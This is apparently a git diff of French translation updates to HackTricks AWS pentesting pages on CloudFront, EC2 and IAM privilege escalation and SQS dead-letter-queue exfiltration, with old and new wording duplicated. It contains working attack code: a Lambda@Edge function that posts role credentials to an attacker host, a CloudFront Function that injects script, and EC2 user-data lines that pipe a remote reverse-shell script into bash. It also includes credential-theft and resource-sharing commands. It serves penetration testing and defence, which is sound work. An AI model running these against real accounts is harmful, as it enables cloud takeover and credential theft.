3. **Données historiques** : Les DLQs accumulent des données sensibles sur des semaines/mois
4. **Sous le radar** : De nombreuses organisations ne surveillent pas étroitement l'accès aux DLQ
5. **Capable cross-account** : Peut exfiltrer vers le compte AWS de l'attaquant si les permissions le permettent
5. **Capable inter-comptes** : Peut exfiltrer vers le compte AWS de l'attaquant si les permissions le permettent
## Détection et prévention
## Détection et Prévention
### Détection
Surveillez CloudTrail pour des appels API `StartMessageMoveTask` suspects :
Surveillez CloudTrail pour les appels API `StartMessageMoveTask` suspects :
```json
{
"eventName": "StartMessageMoveTask",
@@ -145,10 +145,10 @@ Surveillez CloudTrail pour des appels API `StartMessageMoveTask` suspects :
}
```
### Prévention
1. **Principe du moindre privilège** : Restreindre les permissions `sqs:StartMessageMoveTask` aux rôles strictement nécessaires
2. **Surveiller les DLQs** : Configurer des alarmes CloudWatch pour détecter une activité anormale des DLQs
3. **Politiques inter-comptes** : Examiner attentivement les politiques de file d'attente SQS autorisant l'accès inter-comptes
4. **Chiffrer les DLQs** : Utiliser SSE-KMS avec des politiques de clé restreintes
5. **Nettoyage régulier** : Ne laissez pas de données sensibles s'accumuler indéfiniment dans les DLQs
1. **Least Privilege**: Restreindre les permissions `sqs:StartMessageMoveTask` aux seuls rôles nécessaires
2. **Surveiller les DLQs**: Configurer des alarmes CloudWatch pour détecter une activité inhabituelle des DLQs
3. **Politiques inter-comptes**: Examiner attentivement les politiques de file SQS autorisant l'accès inter-comptes
4. **Chiffrer les DLQs**: Utiliser SSE-KMS avec des politiques de clés restreintes
5. **Nettoyage régulier**: Ne laissez pas de données sensibles s'accumuler indéfiniment dans les DLQs
{{#include ../../../banners/hacktricks-training.md}}

92
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md
View File

@@ -6,13 +6,13 @@
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
Un attaquant disposant des autorisations cloudfront:UpdateDistribution et cloudfront:GetDistributionConfig peut modifier la configuration d’une distribution CloudFront. Il n’a pas besoin d’autorisations sur le bucket S3 cible lui‑même, bien que l’attaque soit plus facile si ce bucket a une stratégie permissive qui autorise l’accès depuis le principal de service cloudfront.amazonaws.com.
Un attaquant disposant des autorisations `cloudfront:UpdateDistribution` et `cloudfront:GetDistributionConfig` peut modifier la configuration d'une distribution CloudFront. Il n'a pas besoin d'autorisations sur le S3 bucket cible lui‑même, bien que l'attaque soit plus simple si ce bucket a une politique permissive permettant l'accès depuis le cloudfront.amazonaws.com service principal.
L’attaquant modifie la configuration de l’origine de la distribution pour la pointer vers un autre bucket S3 ou vers un serveur contrôlé par l’attaquant. D’abord, il récupère la configuration actuelle de la distribution :
L'attaquant modifie la configuration d'origine d'une distribution pour la faire pointer vers un autre S3 bucket ou vers un serveur contrôlé par l'attaquant. Il commence par récupérer la configuration actuelle de la distribution :
```bash
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
```
Ensuite, ils modifient current-config.json pour pointer l'origine vers la nouvelle ressource — par exemple, un autre bucket S3 :
Ensuite, ils modifient current-config.json pour pointer l'origine vers la nouvelle ressource — par exemple, un bucket S3 différent :
```bash
...
"Origins": {
@@ -59,26 +59,26 @@ The attacker creates a malicious CloudFront Function that injects JavaScript int
function handler(event) {
var request = event.request;
var response = event.response;
// Créer un nouveau body avec du JavaScript malveillant
// Create a new body with malicious JavaScript
var maliciousBody = `
<!DOCTYPE html>
<html>
<head>
<title>Page compromise</title>
<title>Compromised Page</title>
</head>
<body>
<h1>Contenu d'origine</h1>
<p>Cette page a été modifiée par CloudFront Functions</p>
<h1>Original Content</h1>
<p>This page has been modified by CloudFront Functions</p>
<script>
// JavaScript malveillant
alert('Injection de code de CloudFront Function réussie !');
// Malicious JavaScript
alert('CloudFront Function Code Injection Successful!');
</script>
</body>
</html>
`;
// Remplacer entièrement le body
// Replace the body entirely
response.body = { encoding: "text", data: maliciousBody };
// Mettre à jour les en-têtes
// Update headers
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
response.headers["content-length"] = {
value: maliciousBody.length.toString(),
@@ -97,10 +97,10 @@ aws cloudfront create-function --name malicious-function --function-config '{
"Runtime": "cloudfront-js-1.0"
}' --function-code fileb://malicious-function.js
# Récupérer l'ETag de la fonction au stade DEVELOPMENT
# Récupérer l'ETag de la fonction en phase DEVELOPMENT
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
# Publier la fonction au stade LIVE
# Publier la fonction en phase LIVE
aws cloudfront publish-function --name malicious-function --if-match <etag>
```
@@ -135,42 +135,42 @@ The attacker creates a malicious Lambda@Edge function that steals the IAM role c
```bash
// malicious-lambda-edge.js
exports.handler = async (event) => {
// Obtain role credentials
const credentials = {
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
sessionToken: process.env.AWS_SESSION_TOKEN,
};
// Send credentials to attacker's server
try {
await fetch("https://<attacker-ip>/steal-credentials", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(credentials)
});
} catch (error) {
console.error("Error sending credentials:", error);
}
if (event.Records && event.Records[0] && event.Records[0].cf) {
// Modify response headers
const response = event.Records[0].cf.response;
response.headers["x-credential-theft"] = [
{
key: "X-Credential-Theft",
value: "Successful",
},
];
return response;
}
return {
statusCode: 200,
body: JSON.stringify({ message: "Credentials stolen" })
};
// Obtenir les identifiants du rôle
const credentials = {
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
sessionToken: process.env.AWS_SESSION_TOKEN,
};
// Envoyer les identifiants au serveur de l'attaquant
try {
await fetch("https://<attacker-ip>/steal-credentials", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(credentials)
});
} catch (error) {
console.error("Erreur lors de l'envoi des identifiants :", error);
}
if (event.Records && event.Records[0] && event.Records[0].cf) {
// Modifier les en-têtes de réponse
const response = event.Records[0].cf.response;
response.headers["x-credential-theft"] = [
{
key: "X-Credential-Theft",
value: "Successful",
},
];
return response;
}
return {
statusCode: 200,
body: JSON.stringify({ message: "Identifiants volés" })
};
};
```
```bash
# Packager la fonction Lambda@Edge
# Compresser la fonction Lambda@Edge
zip malicious-lambda-edge.zip malicious-lambda-edge.js
# Créer la fonction Lambda@Edge avec un rôle privilégié
@@ -202,7 +202,7 @@ Then the attacker updates the CloudFront distribution configuration to reference
```
```bash
# Appliquer la configuration de distribution mise à jour (doit utiliser l'ETag actuel)
# Appliquer la configuration de distribution mise à jour (doit utiliser l'ETag courant)
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
aws cloudfront update-distribution \

92
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
View File

@@ -4,7 +4,7 @@
## EC2
Pour plus d'**info sur EC2**, voir :
Pour plus d'**informations sur EC2**, consultez :
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,19 +12,19 @@ Pour plus d'**info sur EC2**, voir :
### `iam:PassRole`, `ec2:RunInstances`
Un attaquant pourrait **créer une instance en y attachant un rôle IAM puis accéder à l'instance** pour voler les identifiants du rôle IAM depuis l'endpoint de métadonnées.
Un attaquant pourrait **créer une instance en y attachant un rôle IAM puis accéder à l'instance** pour voler les identifiants du rôle IAM depuis le point de terminaison des métadonnées.
- **Accès via SSH**
Lancez une nouvelle instance en utilisant une **clé SSH créée** (`--key-name`) puis connectez-vous en SSH dessus (si vous voulez en créer une nouvelle vous pourriez avoir besoin de la permission `ec2:CreateKeyPair`).
Lancez une nouvelle instance en utilisant une **créée** **ssh key** (`--key-name`) puis connectez-vous en SSH dessus (si vous voulez en créer une nouvelle vous pourriez avoir besoin de l'autorisation `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
```
- **Access via rev shell in user data**
- **Accès via rev shell dans user data**
Vous pouvez lancer une nouvelle instance en utilisant un **user data** (`--user-data`) qui vous enverra un **rev shell**. Vous n'avez pas besoin de spécifier le security group de cette manière.
Vous pouvez lancer une nouvelle instance en utilisant un **user data** (`--user-data`) qui vous enverra une **rev shell**. Vous n'avez pas besoin de spécifier de security group de cette façon.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
Faites attention avec GuradDuty si vous utilisez les identifiants du rôle IAM en dehors de l'instance :
Faites attention avec GuradDuty si vous utilisez les identifiants du IAM role en dehors de l'instance :
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
**Impact potentiel :** privesc direct sur n'importe quel rôle EC2 attaché à des instance profiles existants.
**Impact potentiel :** privesc direct vers n'importe quel EC2 role attaché à des instance profiles existants.
#### Privesc vers ECS
#### Privesc to ECS
Avec cet ensemble d'autorisations vous pourriez aussi **créer une instance EC2 et l'enregistrer dans un cluster ECS**. De cette façon, les **services** ECS seront **exécutés** à l'intérieur de l'**instance EC2** à laquelle vous avez accès et vous pourrez ensuite pénétrer ces services (conteneurs docker) et **voler les rôles ECS qui y sont attachés**.
Avec cet ensemble de permissions, vous pourriez aussi **créer une EC2 instance et l'enregistrer dans un ECS cluster**. De cette façon, les **services** ECS seront **exécutés** à l'intérieur de l'**EC2 instance** à laquelle vous avez accès, et vous pourrez ensuite pénétrer ces services (docker containers) et **voler leurs ECS roles attachés**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
To learn how to **forcer l'exécution des services ECS** in this new EC2 instance check:
Pour apprendre comment **forcer l'exécution des services ECS** sur cette nouvelle instance EC2, consultez :
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
Si vous **ne pouvez pas créer une nouvelle instance** mais que vous avez la permission `ecs:RegisterContainerInstance`, vous pourriez être capable d'enregistrer l'instance dans le cluster et d'effectuer l'attaque commentée.
**Potential Impact:** Direct privesc to ECS roles attached to tasks.
**Impact potentiel :** Direct privesc to ECS roles attached to tasks.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\
As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**.
Comme dans le scénario précédent, un attaquant disposant de ces permissions pourrait **changer le rôle IAM d'une instance compromise** afin de voler de nouveaux identifiants.\
Comme un instance profile ne peut avoir qu'un seul rôle, si l'instance profile **a déjà un rôle** (cas courant), vous aurez aussi besoin de **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -80,19 +80,19 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Si le **instance profile a un rôle** et que l'attaquant **ne peut pas le supprimer**, il existe une autre solution. Il pourrait **trouver** un **instance profile sans rôle** ou **en créer un nouveau** (`iam:CreateInstanceProfile`), **ajouter** le **rôle** à cet **instance profile** (comme discuté précédemment), et **associer l'instance profile** compromis à une **instance** compromise :
Si l'**instance profile a un role** et que l'attacker **ne peut pas le supprimer**, il existe une autre solution de contournement. Il pourrait **trouver** un **instance profile sans role** ou **créer un nouveau** (`iam:CreateInstanceProfile`), **ajouter** le **role** à cet **instance profile** (comme discuté précédemment), et **associer l'instance profile** compromis à une i**nstance:** compromise
- Si l'instance **n'a pas d'instance** profile (`ec2:AssociateIamInstanceProfile`)
- Si l'**instance n'a aucun instance** profile (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Impact potentiel :** Direct privesc vers un rôle EC2 différent (vous devez avoir compromis une instance AWS EC2 et disposer de permissions supplémentaires ou d'un statut spécifique de l'instance profile).
**Impact potentiel :** Direct privesc vers un autre EC2 role (vous devez avoir compromis une instance AWS EC2 et disposer de permissions supplémentaires ou d'un statut spécifique d'instance profile).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Avec ces permissions, il est possible de changer l'instance profile associée à une instance ; donc si l'attaquant a déjà accès à une instance, il pourra voler des identifiants pour d'autres rôles d'instance profile en changeant celui qui lui est associé.
Avec ces permissions, il est possible de changer l'instance profile associée à une instance ; ainsi, si l'attaquant a déjà accès à une instance, il pourra voler des identifiants pour davantage de rôles d'instance profile en modifiant celui qui y est associé.
- Si elle **a une instance profile**, vous pouvez **retirer** l'instance profile (`ec2:DisassociateIamInstanceProfile`) et **l'associer**
- Si elle **possède un instance profile**, vous pouvez **retirer** l'instance profile (`ec2:DisassociateIamInstanceProfile`) et **l'associer**
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
@@ -102,12 +102,12 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
**Impact potentiel :** Direct privesc vers un autre EC2 role (vous devez avoir compromis une instance AWS EC2 et disposer de permissions supplémentaires ou d'un statut spécifique d'instance profile).
**Impact potentiel :** Privesc direct vers un autre EC2 role (vous devez avoir compromis une instance AWS EC2 et disposer d'une permission supplémentaire ou d'un statut d'instance profile spécifique).
### `ec2:RequestSpotInstances`,`iam:PassRole`
Un attaquant disposant des permissions **`ec2:RequestSpotInstances` et `iam:PassRole`** peut **demander** une **Spot Instance** avec un **EC2 Role attached** et un **rev shell** dans le **user data**.\
Une fois l'instance lancée, il peut **voler le IAM role**.
Un attaquant avec les permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** peut **demander** une **Spot Instance** avec un **EC2 Role attaché** et un **rev shell** dans le **user data**.\
Une fois que l'instance est lancée, il peut **steal the IAM role**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
Un attaquant disposant de la **`ec2:ModifyInstanceAttribute`** peut modifier les attributs de l'instance. Parmi eux, il peut **changer les données utilisateur**, ce qui implique qu'il peut faire exécuter à l'instance **des données arbitraires**. Cela peut être utilisé pour obtenir un **rev shell vers l'instance EC2**.
Un attaquant disposant de la **`ec2:ModifyInstanceAttribute`** peut modifier les attributs de l'instance. Parmi eux, il peut **changer le user data**, ce qui implique qu'il peut faire exécuter à l'instance des **données arbitraires**, ce qui peut être utilisé pour obtenir une **rev shell sur l'instance EC2**.
Notez que les attributs ne peuvent être **modifiés que lorsque l'instance est arrêtée**, d'où la nécessité des **autorisations** **`ec2:StopInstances`** et **`ec2:StartInstances`**.
Notez que les attributs ne peuvent être **modifiés que lorsque l'instance est arrêtée**, d'où la nécessité des **permissions** **`ec2:StopInstances`** et **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
**Potential Impact:** Privesc direct vers n'importe quel EC2 IAM Role attaché à une instance créée.
**Impact potentiel :** Privesc direct sur tout EC2 IAM Role attaché à une instance créée.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Un attaquant disposant des permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** peut créer une **new Launch Template version** avec un **rev shell in** les **user data** et **any EC2 IAM Role on it**, changer la version par défaut, et **any Autoscaler group** **using** that **Launch Templat**e qui est **configured** pour utiliser la **latest** ou la **default version** va **re-run the instances** en utilisant ce template et exécutera le rev shell.
Un attaquant disposant des permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** peut créer une **nouvelle version de Launch Template** contenant un **rev shell dans les user data** et **n'importe quel EC2 IAM Role dessus**, changer la version par défaut, et faire en sorte que **tout Autoscaler group** **utilisant** ce **Launch Template**, s'il est **configuré** pour utiliser la **latest** ou la **default version**, redémarre les instances utilisant ce template et exécute le rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**Impact potentiel :** privesc direct vers un autre EC2 role.
**Impact potentiel :** Direct privesc vers un autre EC2 role.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
Un attaquant disposant des permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** peut **créer une Launch Configuration** avec un **IAM Role** et un **rev shell** dans les **user data**, puis **créer un autoscaling group** à partir de cette config et attendre que le rev shell **vole l'IAM Role**.
Un attaquant disposant des permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** peut **créer une Launch Configuration** avec un **IAM Role** et un **rev shell** dans le **user data**, puis **créer un autoscaling group** à partir de cette config et attendre que le rev shell **récupère le IAM Role**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
**Impact potentiel :** Escalade de privilèges directe (privesc) vers un autre rôle EC2.
**Impact potentiel :** Escalade directe (privesc) vers un autre rôle EC2.
### `!autoscaling`
L'ensemble des permissions **`ec2:CreateLaunchTemplate`** et **`autoscaling:CreateAutoScalingGroup`** ne suffisent pas pour escalader les privilèges vers un rôle IAM car pour attacher le rôle spécifié dans le Launch Configuration ou dans le Launch Template **vous avez besoin des permissions `iam:PassRole` et `ec2:RunInstances`** (ce qui est un privesc connu).
L'ensemble des permissions **`ec2:CreateLaunchTemplate`** et **`autoscaling:CreateAutoScalingGroup`** **ne suffisent pas à escalader** les privilèges vers un rôle IAM car pour attacher le rôle spécifié dans le Launch Configuration ou dans le Launch Template **vous avez besoin des permissions `iam:PassRole` et `ec2:RunInstances`** (ce qui est un privesc connu).
### `ec2-instance-connect:SendSSHPublicKey`
Un attaquant disposant de la permission **`ec2-instance-connect:SendSSHPublicKey`** peut ajouter une clé ssh à un utilisateur et l'utiliser pour y accéder (s'il a un accès ssh à l'instance) ou pour escalader les privilèges.
Un attaquant disposant de la permission **`ec2-instance-connect:SendSSHPublicKey`** peut ajouter une clé ssh à un utilisateur et l'utiliser pour y accéder (s'il a accès ssh à l'instance) ou pour escalader les privilèges.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Impact potentiel :** Privesc direct aux IAM roles EC2 attachés aux instances en cours d'exécution.
**Impact potentiel :** Privesc direct vers les EC2 IAM roles attachés aux instances en cours d'exécution.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
Un attaquant disposant de la permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** peut **ajouter une clé ssh à une connexion série**. Si la connexion série n'est pas activée, l'attaquant a besoin de la permission **`ec2:EnableSerialConsoleAccess`** pour l'activer.
Un attaquant disposant de la permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** peut **ajouter une clé ssh à une connexion série**. Si la console série n'est pas activée, l'attaquant a besoin de la permission **`ec2:EnableSerialConsoleAccess` pour l'activer**.
Pour se connecter au port série, il faut également connaître le nom d'utilisateur et le mot de passe d'un compte présent sur la machine.
Pour se connecter au port série, l'attaquant doit également **connaître le nom d'utilisateur et le mot de passe d'un utilisateur** à l'intérieur de la machine.
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Cette méthode n'est pas très utile pour privesc car il faut connaître un username et un password pour l'exploiter.
Cette méthode n'est pas très utile pour le privesc car il faut connaître un nom d'utilisateur et un mot de passe pour l'exploiter.
**Impact potentiel :** (Fortement invérifiable) privesc direct vers les IAM roles EC2 attachés aux instances en cours d'exécution.
**Potential Impact:** (Très difficile à prouver) Privesc direct vers les EC2 IAM roles attachés aux instances en cours d'exécution.
### `describe-launch-templates`,`describe-launch-template-versions`
Comme les launch templates sont versionnés, un attaquant disposant des permissions **`ec2:describe-launch-templates`** et **`ec2:describe-launch-template-versions`** pourrait les exploiter pour découvrir des informations sensibles, telles que des credentials présents dans le user data. Pour ce faire, le script suivant parcourt toutes les versions des launch templates disponibles :
Puisque les launch templates ont un système de versioning, un attaquant disposant des permissions **`ec2:describe-launch-templates`** et **`ec2:describe-launch-template-versions`** pourrait les exploiter pour découvrir des informations sensibles, par exemple des identifiants présents dans user data. Pour cela, le script suivant parcourt toutes les versions des launch templates disponibles :
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -252,18 +252,18 @@ Dans les commandes ci‑dessus, bien que nous spécifiions certains motifs (`aws
Si nous trouvons `aws_access_key_id` et `aws_secret_access_key`, nous pouvons utiliser ces identifiants pour nous authentifier auprès d'AWS.
**Impact potentiel :** Escalade de privilèges directe vers les utilisateur(s) IAM.
**Impact potentiel :** Escalade de privilèges directe vers des IAM user(s).
## References
## Références
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
### `ec2:ModifyInstanceMetadataOptions` (downgrade de l'IMDS pour permettre le vol d'identifiants via SSRF)
### `ec2:ModifyInstanceMetadataOptions` (Rétrogradation d'IMDS pour permettre le vol d'identifiants via SSRF)
Un attaquant capable d'appeler `ec2:ModifyInstanceMetadataOptions` sur une instance EC2 victime peut affaiblir les protections IMDS en activant IMDSv1 (`HttpTokens=optional`) et en augmentant le `HttpPutResponseHopLimit`. Cela rend le endpoint de metadata de l'instance accessible via des chemins SSRF/proxy courants depuis des applications s'exécutant sur l'instance. Si l'attaquant peut déclencher une SSRF dans une telle application, il peut récupérer les identifiants de l'instance profile et pivoter avec eux.
Un attaquant capable d'appeler `ec2:ModifyInstanceMetadataOptions` sur une instance EC2 victime peut affaiblir les protections IMDS en activant IMDSv1 (`HttpTokens=optional`) et en augmentant le `HttpPutResponseHopLimit`. Cela rend le point de terminaison des métadonnées de l'instance accessible via des chemins SSRF/proxy courants depuis les applications s'exécutant sur l'instance. Si l'attaquant peut déclencher une SSRF dans une telle application, il peut récupérer les instance profile credentials et pivoter avec eux.
- Permissions requises : `ec2:ModifyInstanceMetadataOptions` sur l'instance cible (plus la capacité d'atteindre/déclencher une SSRF sur l'hôte).
- Ressource cible : L'instance EC2 en cours d'exécution avec un instance profile attaché (IAM role).
- Ressource cible : l'instance EC2 en cours d'exécution avec un instance profile attaché (IAM role).
Commands example:
```bash
@@ -292,11 +292,11 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1
```
Impact potentiel : vol des identifiants du profil d'instance via SSRF entraînant une élévation de privilèges et des déplacements latéraux avec les permissions du rôle EC2.
Impact potentiel : Vol des instance profile credentials via SSRF entraînant une élévation de privilèges et un mouvement latéral avec les permissions du rôle EC2.
### `ec2:ModifyInstanceMetadataOptions`
Un attaquant disposant de la permission ec2:ModifyInstanceMetadataOptions peut affaiblir les protections de l'Instance Metadata Service (IMDS) — par exemple en forçant IMDSv1 (rendant HttpTokens non requis) ou en augmentant HttpPutResponseHopLimit — facilitant ainsi l'exfiltration d'identifiants temporaires. Le vecteur de risque le plus pertinent est l'augmentation de HttpPutResponseHopLimit : en augmentant cette limite de sauts (TTL), le point de terminaison 169.254.169.254 cesse d'être strictement limité à l'espace de noms réseau de la VM et peut devenir accessible par d'autres processus/containers, permettant le vol d'identifiants.
Un attaquant disposant de la permission ec2:ModifyInstanceMetadataOptions peut affaiblir les protections d'Instance Metadata Service (IMDS) — par exemple en forçant IMDSv1 (en rendant HttpTokens non requis) ou en augmentant HttpPutResponseHopLimit — facilitant ainsi l'exfiltration d'identifiants temporaires. Le vecteur de risque le plus pertinent est l'augmentation de HttpPutResponseHopLimit : en augmentant cette limite de saut (TTL), le point de terminaison 169.254.169.254 cesse d'être strictement limité au namespace réseau de la VM et peut devenir accessible par d'autres processus/conteneurs, permettant le vol d'identifiants.
```bash
aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
@@ -306,13 +306,13 @@ aws ec2 modify-instance-metadata-options \
```
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
Un attaquant disposant des permissions ec2:ModifyImageAttribute et ec2:ModifySnapshotAttribute peut partager des AMIs ou des snapshots avec d'autres comptes AWS (ou même les rendre publics), exposant des images ou des volumes qui peuvent contenir des données sensibles telles que des configurations, des identifiants, des certificats ou des sauvegardes. En modifiant les `launch permissions` d'une AMI ou les `create-volume permissions` d'un snapshot, l'attaquant permet à des tiers de lancer des instances ou de monter des disques à partir de ces ressources et d'accéder à leur contenu.
Un attaquant disposant des autorisations `ec2:ModifyImageAttribute` et `ec2:ModifySnapshotAttribute` peut partager des AMI ou des snapshots avec d'autres comptes AWS (ou même les rendre publics), exposant des images ou des volumes qui peuvent contenir des données sensibles telles que des configurations, des credentials, des certificats ou des sauvegardes. En modifiant les launch permissions d'une AMI ou les create-volume permissions d'un snapshot, l'attaquant permet à des tiers de lancer des instances ou de monter des disques à partir de ces ressources et d'accéder à leur contenu.
Pour partager une AMI avec un autre compte :
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
Pour partager un EBS snapshot avec un autre compte :
Pour partager un snapshot EBS avec un autre compte :
```bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```

84
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
View File

@@ -12,40 +12,40 @@ Pour plus d'informations sur IAM, consultez :
### **`iam:CreatePolicyVersion`**
Accorde la capacité de créer une nouvelle version d'une policy IAM, contournant le besoin de la permission `iam:SetDefaultPolicyVersion` en utilisant le flag `--set-as-default`. Cela permet de définir des permissions personnalisées.
Accorde la possibilité de créer une nouvelle version d'une politique IAM, en contournant le besoin de la permission `iam:SetDefaultPolicyVersion` en utilisant le flag `--set-as-default`. Cela permet de définir des permissions personnalisées.
**Commande d'exploitation:**
**Commande d'exploitation :**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Impact:** Permet d'escalader directement les privilèges en autorisant toute action sur n'importe quelle ressource.
**Impact :** Escalade directement les privilèges en permettant toute action sur toute ressource.
### **`iam:SetDefaultPolicyVersion`**
Permet de modifier la version par défaut d'une IAM policy vers une autre version existante, ce qui peut entraîner une escalade de privilèges si la nouvelle version accorde davantage de permissions.
Permet de changer la version par défaut d'une politique IAM vers une autre version existante, pouvant potentiellement escalader les privilèges si la nouvelle version comporte davantage d'autorisations.
**Bash Command:**
**Commande Bash :**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impact :** Escalade de privilèges indirecte en permettant davantage d'autorisations.
**Impact:** Indirect privilege escalation en autorisant des permissions supplémentaires.
### **`iam:CreateAccessKey`**
Permet de créer un access key ID et un secret access key pour un autre utilisateur, ce qui peut entraîner une escalade de privilèges.
Permet de créer un access key ID et un secret access key pour un autre utilisateur, ce qui peut entraîner une privilege escalation.
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Impact:** Escalade de privilèges directe en assumant les permissions étendues d'un autre utilisateur.
**Impact:** Élévation de privilèges directe en assumant les permissions étendues d'un autre utilisateur.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Permet de créer ou de mettre à jour un login profile, y compris définir des mots de passe pour la connexion à la console AWS, entraînant une escalade de privilèges directe.
Permet de créer ou de mettre à jour un login profile, y compris définir des mots de passe pour la connexion à la console AWS, conduisant à une élévation de privilèges directe.
**Exploit pour la création :**
**Exploit for Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
@@ -55,21 +55,21 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
